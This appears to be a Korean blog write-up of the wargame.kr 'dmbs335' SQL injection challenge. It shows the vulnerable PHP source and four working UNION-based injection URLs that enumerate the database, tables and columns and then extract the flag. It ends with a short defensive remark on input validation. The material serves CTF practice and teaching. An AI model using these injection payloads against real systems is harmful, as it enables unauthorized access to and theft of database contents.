본문 바로가기
드림핵

[드림핵][wargame.kr] dmbs335 풀이

by jwcs 2024. 2. 25.
728x90

https://dreamhack.io/wargame/challenges/344

 

[wargame.kr] dmbs335

Description SQL injection Challenge! (injection) thx to dmbs335

dreamhack.io

sql injection 문제이다.

 

/

인덱스 페이지다.

<?php 

if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
}

include("./inc.php"); // Database Connected

function getOperator(&$operator) { 
    switch($operator) { 
        case 'and': 
        case '&&': 
            $operator = 'and'; 
            break; 
        case 'or': 
        case '||': 
            $operator = 'or'; 
            break; 
        default: 
            $operator = 'or'; 
            break; 
}} 

if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}

parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''; 

if(!isset($search_cols)) { 
    $search_cols = 'subject|content'; 
} 

$cols = explode('|',$search_cols); 

foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    } 

    if($query_parts) { 
        $where_clause .= $query_parts; 
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
} 

if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"; 
} 
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause) - (strlen($operator) + 2);
    $where_clause = substr($where_clause, 0, $len); 
} 


?>
<style>
    td:first-child, td:last-child {text-align:center;}
    td {padding:3px; border:1px solid #ddd;}
    thead td {font-weight:bold; text-align:center;}
    tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
    <thead>
        <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
    </thead>
    <tbody>
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
    </tbody>
    <tfoot>
        <tr><td colspan=4>
            <form method="">
                <select name="search_cols">
                    <option value="subject" selected>subject</option>
                    <option value="content">content</option>
                    <option value="content|content">subject, content</option>
                    <option value="writer">writer</option>
                </select>
                <input type="text" name="keyword" />
                <input type="radio" name="operator" value="or" checked /> or &nbsp;&nbsp;
                <input type="radio" name="operator" value="and" /> and
                <input type="submit" value="SEARCH" />
            </form>
        </td></tr>
    </tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />

전체 코드다.

 

정리해보면 주제, 내용, 작성자를 기준으로 하여 검색을 하는 사이트인 것으로 보인다.

그런데 보통 get 메소드로 값을 전달받으면 `$_GET['keyword']` 형식인데, 이 코드에서는 그런게 보이지 않는다.

찾아봤더니 `parse_str($_SERVER['QUERY_STRING'])`가 이런 역할을 한다. url의 쿼리 문자열을 파싱하여 즉시 변수로 사용할 수 있다.

 

sql injection 문제니까 sql에 삽입되는 부분을 살펴보자. `$where_clause`가 sql문에 직접 삽입된다.

`$where_clause`는 `col`과 `keyword` 혹은 `query_parts`로 구성되어 실행된다.

 

col이 만약 비어있다면

cols 설정

위와 같이 값을 넣어준다.

하지만 위와 같이 정규표현식에 포함되지 않는 쓰레기 값을 넣어준다면 query_parts는 우리가 입력해주는 값으로 들어가게 될 것이다.

 

union을 활용한 sql injection을 할 수 있을 것으로 보인다. 

출력하는 칼럼이 4개이므로 union 문에도 4개로 맞춰주어야 한다.

 

http://host3.dreamhack.games:19040/?search_cols=a&keyword=&operator=and&query_parts=1%20union%20select%20database(),database(),database(),database()--%20-

으로 어느 칼럼에서 값 출력이 원활히 될 지 확인해보면서 어떤 데이터베이스를 사용하는지 확인했다.

데이터베이스 구조 파악

http://host3.dreamhack.games:19040/?search_cols=a&keyword=&operator=and&query_parts=1%20union%20select%20group_concat(table_name),1,2,3 from information_schema.TABLES where table_schema=database()--%20-

이러한 명령으로 어떤 테이블들이 있는지 확인했다.

테이블 확인

http://host3.dreamhack.games:19040/?search_cols=a&keyword=&operator=and&query_parts=1%20union%20select%20group_concat(column_name),1,2,3 from information_schema.COLUMNS where table_name='Th1s_1s_Flag_tbl'--%20-

이러한 명령으로 칼럼을 확인했다. `Th1s_1s_Flag_tbl` 딱 봐도 플래그 들어있을 것처럼 네이밍을 해줘서 수월했다.

칼럼 구조 확인

http://host3.dreamhack.games:19040/?search_cols=a&keyword=&operator=and&query_parts=1%20union%20select%20f1ag,1,2,3%20from%20Th1s_1s_Flag_tbl--%20-

이런 명령어로 플래그를 얻을 수 있다

https://www.bugbountyclub.com/pentestgym/view/54

 

UNION 기반 SQL 인젝션 | Pentest Gym | 버그바운티클럽

UNION 기반 SQL Injection이란?Union 기반 SQL Injection은 웹 애플리케이션이 백엔드 데이터베이스로 질의한 SQL 쿼리의 결과가 HTTP 응답에 표시될

www.bugbountyclub.com

union sql injection에 큰 도움을 받았다

flag

짜잔

 

방어 방법 모색: parse_str($_SERVER['QUERY_STRING']);이 설정되어 있으면서 col의 예외처리가 제대로 이루어지지 않아 사용자가 sql에 들어갈 값을 조작할 수 있어서 취약점이 발생했다. col에 대한 예외처리를 꼼꼼히 하며, 사용자로부터 입력 받을 수 있을 모든 입력값을 검증하는 과정을 거쳐야 할 것이다.

728x90
반응형